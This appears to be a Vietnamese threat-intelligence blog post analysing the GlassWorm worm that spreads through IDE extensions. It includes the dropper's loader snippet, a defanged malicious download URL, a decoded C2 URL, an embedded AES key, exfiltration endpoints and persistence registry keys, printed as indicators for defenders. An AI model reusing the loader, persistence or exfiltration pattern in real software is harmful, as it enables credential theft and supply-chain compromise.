Skip to main content

Command Palette

Search for a command to run...

Chiến dịch GlassWorm: Worm Tự Lan Truyền Thế Hệ Mới Tấn công Toàn Bộ Hệ Sinh Thái IDE Lập Trình Viên

Published
19 min read
Chiến dịch GlassWorm: Worm Tự Lan Truyền Thế Hệ Mới Tấn công Toàn Bộ Hệ Sinh Thái IDE Lập Trình Viên

Tóm tắt

GlassWorm là một trong những chiến dịch tấn công chuỗi cung ứng phần mềm (software supply chain attack) tinh vi và nguy hiểm nhất từng được ghi nhận trong lịch sử bảo mật hệ sinh thái lập trình viên. Ra đời vào tháng 10/2025 và vẫn đang hoạt động tích cực tính đến tháng 04/2026, GlassWorm liên tục tiến hóa về kỹ thuật qua từng làn sóng tấn công, mở rộng quy mô từ vài extension bị xâm phạm lên đến hàng trăm package trên nhiều hệ sinh thái khác nhau.

Điểm nguy hiểm cốt lõi nằm ở ba yếu tố kết hợp:

  • Mã độc vô hình (Invisible Code): Kỹ thuật Unicode Steganography khiến payload tàng hình hoàn toàn với mắt người và các công cụ phân tích code thông thường

  • Hạ tầng C2 bất khả xâm phạm: Sử dụng Solana blockchain, Google Calendar và BitTorrent DHT làm kênh chỉ huy — không thể bị takedown

  • Khả năng tự lan truyền: Đánh cắp credential để tự nhân bản sang các package và extension khác mà không cần sự can thiệp của con người

Phiên bản mới nhất (tháng 04/2026) đánh dấu bước leo thang kỹ thuật đáng kể: sử dụng native binary viết bằng ngôn ngữ Zig để lây nhiễm đồng loạt tất cả IDE trên máy nạn nhân chỉ từ một điểm xâm nhập duy nhất.


Bối cảnh & Lịch sử Chiến dịch (Campaign Background)

Điểm khởi đầu — Mối liên hệ với Shai Hulud

Để hiểu đầy đủ về GlassWorm, cần đặt nó trong bối cảnh rộng hơn. Chỉ một tháng trước khi GlassWorm xuất hiện, cộng đồng bảo mật đã chứng kiến Shai Hulud — worm tự lan truyền đầu tiên trong hệ sinh thái npm — xâm phạm hơn 100 package bằng cách đánh cắp npm token rồi tự động publish phiên bản độc hại. GlassWorm chính là sự kế thừa và nâng cấp toàn diện của mô hình tấn công này, nhưng nhắm vào hệ sinh thái VS Code extension và bổ sung thêm các kỹ thuật evasion chưa từng thấy trước đây.

Dòng thời gian tiến hóa chiến dịch

Thời điểm Làn sóng Sự kiện & Kỹ thuật nổi bật Quy mô
Tháng 3/2025 0 Aikido phát hiện GlassWorm lần đầu trong npm packages ẩn payload bằng Unicode vô hình Nhỏ
17/10/2025 1 7 extension OpenVSX bị xâm phạm; kỹ thuật Unicode steganography lần đầu xuất hiện trong VSX; triển khai RAT "ZOMBI" 35.800 lượt tải
19/10/2025 1b Extension đầu tiên trên Microsoft VSCode Marketplace bị phát hiện (cline-ai-main.cline-ai-agent@3.1.3)
Tháng 11/2025 2 3 extension mới bị phát hiện (ai-driven-dev, history-in-sublime-merge, transient-emacs) ~10.000 lượt tải
31/01/2026 3 Socket phát hiện đợt mở rộng mới; bắt đầu khai thác extensionPack/extensionDependencies
Tháng 3/2026 4 72 extension độc hại qua kỹ thuật transitive dependency; 151 GitHub repo bị xâm phạm; Chrome extension giả mạo "Google Docs Offline" Hàng trăm nghìn lượt
16/03/2026 5 GlassWorm tấn công MCP (Model Context Protocol) với kỹ thuật phân phối mới
08/04/2026 6 Zig native dropper: lây nhiễm đa IDE từ một extension duy nhất Đang lan rộng

Phân tích Kỹ thuật Chuyên sâu (Technical Deep Dive)

Kỹ thuật 1: Unicode Steganography — "Mã độc vô hình"

Đây là kỹ thuật đặc trưng và gây chấn động nhất của GlassWorm khi lần đầu được phát hiện. Kẻ tấn công sử dụng Unicode Variation Selectors — các ký tự đặc biệt trong chuẩn Unicode không tạo ra bất kỳ ký tự nào hiển thị, nhưng vẫn là các byte hợp lệ có thể thực thi với JavaScript interpreter.

Hệ quả thực tế:

  • Nhìn vào source code, lập trình viên chỉ thấy những dòng trống hoặc khoảng trắng — nhưng thực ra đó là đoạn code độc hại hoàn chỉnh

  • GitHub's diff view: Không có gì bất thường

  • IDE syntax highlighting: Không phát hiện

  • Code review thủ công: Hoàn toàn bỏ qua

  • Hầu hết công cụ SAST (Static Application Security Testing): Không phát hiện

Đây là một bước đột phá trong mô hình đe dọa: toàn bộ hệ thống bảo mật của chúng ta được xây dựng trên giả định rằng con người có thể đọc và kiểm tra code. GlassWorm đã chứng minh giả định đó hoàn toàn sai. Chính developer có tài khoản bị xâm phạm nhiều khả năng đã nhìn vào file này, thấy code của mình hoàn toàn bình thường, và vô tình phân phối malware đến hàng nghìn người dùng mà không hay biết.


Kỹ thuật 2: Zig Native Dropper (Wave 6 — April 2026)

Extension giả mạo tên specstudio.code-wakatime-activity-tracker được phát tán trên OpenVSX Registry, có bề ngoài gần như đồng nhất với extension WakaTime hợp lệ: cùng command registrations, cùng API key prompts, cùng status bar icons. Điểm phân kỳ duy nhất nằm ở hàm activate():

const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Trước khi bất kỳ logic WakaTime nào chạy, extension nạp một native binary từ thư mục ./bin/ và ngay lập tức gọi install(). Các file này là Node.js native addons — thư viện chia sẻ được biên dịch, nạp thẳng vào Node.js runtime và thực thi hoàn toàn bên ngoài JavaScript sandbox với toàn quyền truy cập hệ điều hành.

Lý do chọn Zig:

  • Binary kích thước nhỏ, ít dấu vết forensic

  • Tỷ lệ phát hiện thấp trên antivirus/EDR

  • Cross-compilation dễ dàng: file mac.node là universal Mach-O binary, bao phủ cả x86_64 lẫn arm64

  • File macOS được biên dịch với debug symbols, hé lộ project path: /Users/davidioasd/Downloads/vsx_installer_zig

Lây nhiễm đa IDE — Danh sách mục tiêu đầy đủ:

Trên Windows (từ win.node):

%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd

Trên macOS (từ mac.node):

/Applications/Visual Studio Code.app/.../bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/.../bin/cursor
/Applications/Windsurf.app/.../bin/windsurf
/Applications/VSCodium.app/.../bin/codium
/Applications/Positron.app/.../bin/positron

Sau khi lập danh sách tất cả IDE, dropper tải một .vsix độc hại từ GitHub Releases do kẻ tấn công kiểm soát và âm thầm cài vào từng IDE qua CLI installer của từng editor:

https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Extension này giả mạo steoates.autoimport — một extension hợp lệ với hàng triệu lượt cài đặt. Sau khi cài xong, cleanupVsix xóa file tải về để phi tang.


Kỹ thuật 3: Transitive Dependency Abuse (Wave 4 — March 2026)

Kể từ tháng 01/2026, GlassWorm khai thác hai trường manifest của VS Code Extension: extensionPackextensionDependencies. Cơ chế hoạt động như sau: kẻ tấn công publish một extension có vẻ lành tính trước, sau đó trong một bản cập nhật sau, thêm vào trường extensionPack tham chiếu đến một extension độc hại khác. IDE sẽ tự động cài extension đó khi người dùng cập nhật extension gốc.

Điều này có nghĩa: kiểm tra code của phiên bản đầu tiên là chưa đủ. Malware có thể xuất hiện ở bản cập nhật thứ 5 hoặc thứ 10, thông qua một extension hoàn toàn khác mà người dùng không hề biết mình đã cài. Socket Research đã xác nhận pattern này qua extension otoboss.autoimport-extension@1.5.7, tham chiếu đến oigotm.my-command-palette-extension — một GlassWorm loader.


Chuỗi tấn công hoàn chỉnh (Full Attack Chain)

┌───────────────────────────────────────────┐
                    STAGE 1: INITIAL COMPROMISE                      
  Fake extension → auto-update → loads Zig native binary (win/mac) 
  Bypasses JavaScript sandbox → executes with full OS privileges
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 2: MULTI-IDE INFECTION                        
  Enumerates all IDEs → downloads autoimport-2.7.9.vsix from GitHub       
  Silently installs into every IDE → deletes .vsix to cover tracks   
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 3: C2 DISCOVERY                             
  Checks locale → If Russian locale: ABORT  
  Queries Solana blockchain → reads C2 address from memo field
  Backup: Google Calendar event title (base64-encoded URL) 
  Payload: AES-256-CBC encrypted, key embedded in HTTP response hdr  
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 4: CREDENTIAL HARVEST                       
  NPM tokens, GitHub tokens, Git creds, OpenVSX credentials          
  49 crypto wallet extensions (MetaMask, Phantom, Coinbase, etc.)    
  Browser cookies, localStorage, session data, keystrokes            
  Exfiltrate → ZIP archive → POST to /wall endpoint                  
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 5: ZOMBI RAT DEPLOYMENT                     
  SOCKS proxy server (converts victim into criminal infrastructure)   
  WebRTC P2P (direct firewall-bypassing control channel)             
  BitTorrent DHT C2 (decentralized, cannot be shut down)             
  Hidden VNC (HVNC) — fully invisible remote desktop               
  Persistence: Registry Run Keys + Scheduled Task (AghzgY.ps1)      
└───────────────────────────────────────────┘
                            ↓
┌───────────────────────────────────────────┐
                    STAGE 6: SELF-PROPAGATION                         
  Uses stolen credentials → compromises additional packages/exts     
  Exponential worm loop: every victim becomes a new infection vector 
└───────────────────────────────────────────┘

Hạ tầng C2 Ba tầng — Khả năng phục hồi tuyệt đối

Điểm đột phá nhất về mặt kiến trúc của GlassWorm là hệ thống C2 ba lớp độc lập:

Tầng 1 — Solana Blockchain (Primary C2): Địa chỉ IP của C2 được nhúng vào memo field của Solana transaction — trường này cho phép gắn văn bản tùy ý vào giao dịch blockchain. Ví dụ thực tế từ transaction ngày 15/10/2025:

{"link":"aHR0cDovLzIxNy42OS4zLjIxOC9xUUQlMkZKb2kzV0NXU2s4Z2dHSGlTdg=="}

Sau khi giải mã base64: http://217.69.3.218/qQD%2FJoi3WCWSk8ggGHiTdg%3D%3D

Tại sao blockchain C2 là thứ vũ khí gần như bất khả chiến bại:

  • Immutable: Không thể xóa, không thể sửa, tồn tại mãi mãi

  • Censorship-resistant: Không có hosting provider, không có domain registrar để liên hệ takedown

  • Chi phí cực thấp: Cập nhật C2 mới chỉ tốn 0.000005 SOL (dưới 0.001 USD)

  • Hợp pháp về traffic: Kết nối đến Solana RPC node trông hoàn toàn bình thường

  • Dynamic: Kẻ tấn công có thể rotate infrastructure sau mỗi 5 phút nếu muốn

Tầng 2 — Google Calendar (Backup C2): Malware truy cập một Google Calendar event do kẻ tấn công tạo. Tiêu đề event là một URL được mã hóa base64, trỏ đến endpoint /get_zombi_payload/. Kẻ tấn công chỉ cần chỉnh sửa event để cập nhật địa chỉ C2. Không ai block Google Calendar cả.

Tầng 3 — BitTorrent DHT (RAT C2): Module ZOMBI RAT sử dụng BitTorrent DHT network để nhận lệnh — cùng cơ chế phân tán khiến torrent tracking không thể bị shutdown. Nếu cả blockchain và Google Calendar đều bị chặn, RAT vẫn hoạt động qua DHT.


Module ZOMBI — RAT Toàn năng

Payload cuối cùng — được đặt tên là ZOMBI bởi chính kẻ tấn công (xem /get_zombi_payload/ endpoint) — là một bộ công cụ điều khiển từ xa hoàn chỉnh:

SOCKS Proxy Module: Biến máy nạn nhân thành proxy node trong mạng tội phạm toàn cầu. Máy tính developer nằm trong corporate network, sau firewall của công ty, có thể truy cập internal systems mà external attacker không thể. Kẻ tấn công route traffic qua IP của nạn nhân — mọi hành động độc hại đều trỏ về máy developer tội nghiệp.

WebRTC P2P Module: Thiết lập kênh điều khiển trực tiếp qua NAT traversal, bypass firewall mà không cần central server. Kẻ tấn công có thể giao tiếp real-time với máy nạn nhân ngay cả trong môi trường mạng doanh nghiệp bảo mật cao.

Hidden VNC (HVNC): Remote desktop hoàn toàn vô hình — chạy trong virtual desktop không xuất hiện trong Task Manager, không hiển thị cửa sổ nào trên màn hình nạn nhân. Kẻ tấn công có thể:

  • Duyệt web với session đã đăng nhập của nạn nhân

  • Đọc toàn bộ source code và tài liệu nội bộ

  • Truy cập email, Slack, Jira, internal wiki

  • Pivot sang các hệ thống khác trong mạng nội bộ

Chrome Extension Giả mạo "Google Docs Offline": ZOMBI force-install một Chrome extension giả mạo với khả năng:

  • Keylogger toàn trình duyệt

  • Đánh cắp cookies, localStorage

  • Capture DOM tree của tab đang active

  • Thu thập toàn bộ lịch sử duyệt web (lên đến 5.000 entries)

  • Chụp màn hình định kỳ

  • Đọc clipboard

Ledger/Trezor Phishing Binary: Đặc biệt nguy hiểm với người dùng hardware wallet — nếu phát hiện thiết bị Ledger hoặc Trezor được kết nối, module này khởi động phishing flow đặc biệt để đánh cắp seed phrase.

Persistence (Duy trì hiện diện): ZOMBI cài hai cơ chế persistence song song:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateApp
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateLedger
Scheduled Task: "UpdateApp" → thực thi AghzgY.ps1

Cơ chế Tự lan truyền (Worm Behavior)

Đây là điểm biến GlassWorm từ một infostealer thông thường thành một thứ vũ khí có khả năng tự khuếch đại. Toàn bộ credential bị đánh cắp không chỉ phục vụ mục đích tài chính mà còn được dùng để compromise thêm các package khác:

  1. NPM token → publish phiên bản độc hại của các npm package phổ biến

  2. GitHub token → inject backdoor vào repositories, xâm phạm CI/CD pipeline

  3. OpenVSX credentials → push malicious extension update đến hàng nghìn subscriber

  4. Git credentials → compromise repositories của tổ chức

Mỗi developer bị xâm phạm có khả năng phân phối GlassWorm đến toàn bộ user base của mọi open-source project họ maintain — không cần bất kỳ sự tương tác nào từ kẻ tấn công. Đây là bản chất worm thực sự: tăng trưởng theo cấp số nhân.


Attribution & Mục tiêu

Đặc điểm tác nhân đe dọa

GlassWorm chưa được quy kết chính thức cho bất kỳ APT group hay quốc gia cụ thể nào. Tuy nhiên, có một số chỉ dấu đáng chú ý:

  • Geofencing tiếng Nga: Code kiểm tra locale của máy — nếu phát hiện tiếng Nga, toàn bộ execution chain dừng lại. Đây là kỹ thuật phổ biến của các nhóm tội phạm mạng muốn tránh tấn công vào người dùng trong vùng lãnh thổ Nga để tránh bị truy tố

  • Tài khoản Gmail: C2 Google Calendar được tạo bởi uhjdclolkdn@gmail.com — không cung cấp thêm thông tin về attribution

  • Kỹ năng kỹ thuật cao: Khả năng lập trình đa ngôn ngữ (JavaScript, Zig, Node native addons), hiểu sâu về blockchain, kiến trúc phân tán — cho thấy nhóm tấn công có năng lực kỹ thuật cao và có tổ chức bài bản

Profiling mục tiêu

  • Primary target: Software developer — đặc biệt những người sử dụng VS Code ecosystem, AI coding tools (Cursor, Windsurf), và có tài sản cryptocurrency

  • Secondary impact: Tổ chức/doanh nghiệp mà developer làm việc — thông qua corporate network access, CI/CD pipeline compromise, và supply chain attacks downstream

  • End-user risk: Người dùng cuối của các package/extension bị xâm phạm — hàng triệu người có thể bị ảnh hưởng từ một developer ban đầu


Chỉ số Xâm phạm Đầy đủ (Indicators of Compromise)

5Extensions Độc hại (Danh sách chọn lọc)

Wave 1 (Oct 2025) — OpenVSX:

Extension ID Phiên bản độc hại
codejoy.codejoy-vscode-extension 1.8.3, 1.8.4
l-igh-t.vscode-theme-seti-folder 1.2.3
kleinesfilmroellchen.serenity-dsl-syntaxhighlight 0.3.2
JScearcy.rust-doc-viewer 4.2.1
SIRILMP.dark-theme-sm 3.11.4
ginfuru.better-nunjucks 0.3.2
ellacrity.recoil 0.7.4

Wave 1 (Oct 2025) — Microsoft VSCode:

Extension ID Phiên bản độc hại
cline-ai-main.cline-ai-agent 3.1.3

Wave 6 (Apr 2026):

Extension ID Vai trò
specstudio.code-wakatime-activity-tracker Stage 1 dropper (Zig binary)
floktokbok.autoimport / autoimport-2.7.9 Stage 2 implant

File Artifacts

File Nền tảng SHA-256
win.node Windows 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
mac.node macOS 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
AghzgY.ps1 Windows Persistence script

Network Indicators

C2 / Payload Servers:

IP/Domain Vai trò
217.69.3[.]218 Primary C2 server (Wave 1)
217.69.3[.]152 Primary C2 server (Wave 4)
45.32.150[.]251 Active C2 (confirmed reuse)
45.32.151[.]157 Additional C2 (Wave 4+)
70.34.242[.]255 Additional C2 (Wave 4+)
45.150.34[.]158 Additional C2 (Wave 4+)
140.82.52[.]31:80/wall Exfiltration endpoint
199.247.10[.]166 Primary C2 server (Wave 3)
199.247.13[.]106:80/wall Exfiltration endpoint

Blockchain Indicators:

Loại Giá trị
Solana Wallet (Wave 1) 28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2
Solana Wallet (Wave 3) BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
Solana Wallet (Wave 4+) 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
Google Calendar C2 https://calendar.app.google/M2ZCvM8ULL56PD1d6
Calendar Organizer uhjdclolkdn@gmail.com

Crypto Material (Embedded):

Loại Giá trị
AES Key wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz
AES IV (hex) c4b9a3773e9dced6015a670855fd32b

Forensic Strings (trong Zig binary):

String Nguồn Ý nghĩa
vsx_installer_zig macOS debug symbols Tên Zig project
davidioasd macOS binary path Username máy dev của attacker

Registry / Persistence

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateApp
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateLedger
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled Task Name: "UpdateApp" → executes: AghzgY.ps1

Browser Extension Độc hại

Tên hiển thị Thư mục (Windows) Thư mục (macOS)
Google Docs Offline (v1.95.1) jucku myextension

MITRE ATT&CK Mapping

Tactic Technique Mô tả
Initial Access T1195.001 Supply Chain Compromise: Software Dependencies
Execution T1204 User Execution (extension install/update)
Execution T1059.007 JavaScript interpreter — Unicode-hidden payload
Defense Evasion T1480 Execution Guardrails (Russian locale check)
Defense Evasion T1027.013 Obfuscated Files — Encrypted/Encoded + Invisible Unicode
Command & Control T1102.001 Web Service: Dead Drop Resolver (Solana blockchain)
Command & Control T1090 Proxy — SOCKS5 via ZOMBI module
Command & Control T1008 Fallback Channels (Blockchain → Google Calendar → DHT)
Persistence T1547.001 Registry Run Keys / Startup Folder
Persistence T1053.005 Scheduled Task (UpdateApp)
Credential Access T1528 Steal Application Access Token (NPM, GitHub, OpenVSX)
Collection T1056.001 Keylogging (Chrome extension)
Exfiltration T1041 Exfiltration Over C2 Channel (/wall endpoint)

Đánh giá Rủi ro cho Doanh nghiệp

Kịch bản tấn công tệ nhất (Worst-case Scenario)

Chỉ cần một developer trong tổ chức cài extension bị nhiễm:

  1. Toàn bộ git credentials của developer bị đánh cắp → attacker có thể đọc/sửa toàn bộ private repositories của công ty

  2. NPM/PyPI tokens bị lộ → attacker inject backdoor vào production packages mà hàng triệu người dùng cuối đang dùng

  3. Máy developer trở thành SOCKS proxy → attacker có thể kết nối vào internal corporate network, bypass tất cả perimeter firewall

  4. HVNC cho phép attacker xem toàn bộ màn hình, truy cập internal dashboards, admin panels, secrets management systems

  5. Stolen credentials được dùng để tấn công thêm các developer khác trong tổ chức qua supply chain


Khuyến nghị

🚨 Hành động khẩn cấp (Immediate Response)

  1. Kiểm tra ngay xem có bất kỳ extension nào trong danh sách IoC được cài trên máy không: specstudio.code-wakatime-activity-tracker, floktokbok.autoimport, và 72 extension trong danh sách Wave 4

  2. Tìm kiếm file win.node hoặc mac.node trong thư mục extension của bất kỳ IDE nào (~/.vscode/extensions/)

  3. Kiểm tra Chrome extensions — xóa ngay bất kỳ "Google Docs Offline" nào không phải do Google publish

  4. Kiểm tra Registry Run Keys và Scheduled Tasks cho các entry UpdateApp, UpdateLedger, AghzgY.ps1

  5. Nếu phát hiện nhiễm: Coi máy đã bị compromise toàn bộ — rotate ngay lập tức mọi secrets: GitHub token, NPM token, AWS/GCP/Azure credentials, SSH keys, database passwords

🛡️ Phòng ngừa trung và dài hạn

Về quản lý Extension:

  • Triển khai extension allowlist policy trong môi trường doanh nghiệp — chỉ cho phép install extension từ danh sách được phê duyệt

  • Ưu tiên VS Code Marketplace chính thức, kiểm tra kỹ publisher identity (không chỉ tên extension)

  • Theo dõi version-to-version diff của extension, đặc biệt chú ý đến việc manifest bổ sung extensionPack hoặc extensionDependencies trong các bản cập nhật

  • Thiết lập cảnh báo khi extension thêm mới dependency, thay đổi publisher, hoặc có thay đổi code lớn trong minor release

Về hạ tầng & monitoring:

  • Giám sát traffic đến Solana RPC nodes (api.mainnet-beta.solana.com, solana-api.projectserum.com) từ môi trường developer

  • Block toàn bộ IP trong danh sách IoC tại firewall và endpoint

  • Phát hiện file .node binary không rõ nguồn gốc trong thư mục extension

  • Áp dụng UEBA (User and Entity Behavior Analytics) để phát hiện outbound connection bất thường từ IDE process

Về DevSecOps:

  • Tích hợp công cụ Software Composition Analysis (SCA) vào CI/CD pipeline

  • Áp dụng dependency pinning — chỉ sử dụng phiên bản cụ thể đã được verify, không auto-update

  • Sử dụng các công cụ như Aikido SafeChain, Socket CLI để kiểm tra package trước khi install

  • Xem xét áp dụng network segmentation cho developer workstation — hạn chế quyền truy cập internal system từ máy developer


Kết luận

GlassWorm là lời cảnh tỉnh nghiêm khắc nhất từ trước đến nay về mức độ nguy hiểm của developer supply chain attack. Chiến dịch này đã chứng minh rằng:

  • Code review không còn là biện pháp bảo vệ đáng tin cậy khi malware có thể hoàn toàn vô hình

  • Hạ tầng C2 dựa trên blockchain là thực tế, không phải lý thuyết — và gần như không thể bị takedown

  • Worm tự lan truyền qua developer ecosystem có khả năng tạo ra phản ứng dây chuyền ảnh hưởng hàng triệu người dùng cuối

Chiến dịch vẫn đang hoạt động tích cực và tiếp tục tiến hóa. Đây không phải là bài học lịch sử — đây là mối đe dọa đang xảy ra ngay bây giờ.


Tham khảo

  1. GlassWorm – Self-Propagating VSCode Extension Worm

  2. GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace

  3. GlassWorm Campaign Uses Zig Dropper to Infect Multiple Developer IDEs

More from this blog